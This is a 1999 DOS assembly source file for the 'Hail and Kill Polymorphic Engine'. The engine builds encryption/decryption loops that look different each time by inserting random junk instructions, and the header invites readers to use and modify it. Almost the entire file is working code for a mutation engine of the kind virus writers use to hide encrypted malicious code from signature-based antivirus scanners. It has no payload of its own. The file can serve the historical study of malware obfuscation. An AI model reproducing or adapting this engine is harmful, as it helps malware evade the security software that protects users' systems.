;
;
;       Hail and Kill Polymorphic Engine [HKPE].
;       (C) 1999 Hail and Kill.
;       Feel free to use and modify it.
;
;       Use a debugger to watch how it works. Enjoy it!
;
;    Out routine as...  a Xor b = ((not a) and b) or (a and (not b))
;
;    cloop:
;               {garbage [1,4]}
;               mov ?l,{key}
;               {garbage [1,4]}
;               not ?l
;               {garbage [1,4]}
;               mov ?h,byte ptr ds:[si]
;               {garbage [1,4]}
;               and byte ptr ds:[si],?l
;               {garbage [1,4]}
;               not ?x
;               {garbage [1,4]}
;               and ?l,?h
;               {garbage [1,4]}
;               or byte ptr ds:[si],?l
;               {garbage [1,4]}
;               inc si
;               {garbage [1,4]}
;               loop cloop
;
;          hkpe size: 221     bytes
;       routine size: [35,89] bytes
;

hkpeSeg segment byte public
                assume cs:hkpeSeg, ds:hkpeSeg
                org 100h

inicio:
        xor     ax,ax
        push    ax              ; key 00h
        push    cs              ; segment cs
        lea     ax,EncDest      ; offset to place routine
        push    ax
        call    hkpe

        mov     ax,4c00h
        int     21h

;
;  hkpe
;
;  arg         size    description
;  ---         ----    ----------------------------
;  3           dw      offset of proc destination
;  2           dw      segment of proc destination
;  1           db      encrypt/decrypt key
;
;  returns CX: size of proc
;
;  Nt:
;       .push args in order before the call
;       .no delta offset for variable entry point used
;       .make sure the call is in the same segment of hkpe
;
;  Use of generated routine:
;
;         cx: size to encrypt/decrypt
;         ds: segment of code to encrypt/decrypt
;         si: offset of code to encrypt/decrypt
;
hkpe:
        pop     ax
        pop     di      ; destination offset
        pop     es      ; destination segment
        pop     dx      ; key
        push    ax

        xor     bx,bx   ; use bx as counter for bytes in routine

        call    insShit

        mov     al,3    ; random number [0,3]
        call    random
        cmp     al,3
        jne     s0
        dec     al
s0:                     ; 0: ax 1: bx 2: dx
        mov     cl,13
        mul     cl
        lea     si,wax
        add     si,ax

        mov     al,byte ptr cs:[si]
        mov     ah,dl           ; move key to al, bl or dl
        mov     word ptr es:[di],ax
        add     di,2
        add     bx,2
        inc     si

        mov     cx,6

s1:
        push    si cx
        call    insShit
        pop     cx si

        mov     ax,word ptr cs:[si]
        mov     word ptr es:[di],ax
        add     di,2
        add     bx,2
        add     si,2

        loop    s1

        push    si
        call    insShit
        pop     si

        mov     word ptr es:[di],46h    ; inc si
        inc     di
        inc     bx

        call    insShit

        mov     al,0e2h          ; loop
        mov     ah,0feh
        sub     ah,bl
        mov     word ptr es:[di],ax
        add     bx,2


        mov     cx,bx
        ret

insShit:
        mov     al,3    ; random number [0,3]
        call    random
        inc     al
        xor     cx,cx
        mov     cl,al

        xor     ax,ax
        mov     al,8    ; random number [0,7-cl]
        sub     al,cl
        call    random
        push    cx
        mov     cl,2
        mul     cl
        pop     cx

        lea     si,shit
        add     si,ax
shitLoop:
        mov     ax,word ptr cs:[si]
        mov     word ptr es:[di],ax
        add     di,2
        add     bx,2
        add     si,2
        loop    shitLoop
        ret

random:
        xchg    al,ah
        in      al,40h
        and     al,ah
        ret

shit    dw      5850h,0db87h,5951h,0d287h,5b53h,0c987h,5a52h,9090h
        dw      5b5bh,4b48h,4550h,5d5dh
wax     db      0b0h ,0f6h,0d0h, 8ah,24h, 20h,04h, 0f7h,0d0h, 22h,0c4h
        db      08h,04h
wbx     db      0b3h ,0f6h,0d3h, 8ah,3ch, 20h,1ch, 0f7h,0d3h, 22h,0dfh
        db      08h,1ch
wdx     db      0b2h, 0f6h,0d2h, 8ah,34h, 20h,14h, 0f7h,0d2h, 22h,0d6h
        db      08h,14h

EncDest:
        nop

hkpeSeg         ends
end     inicio
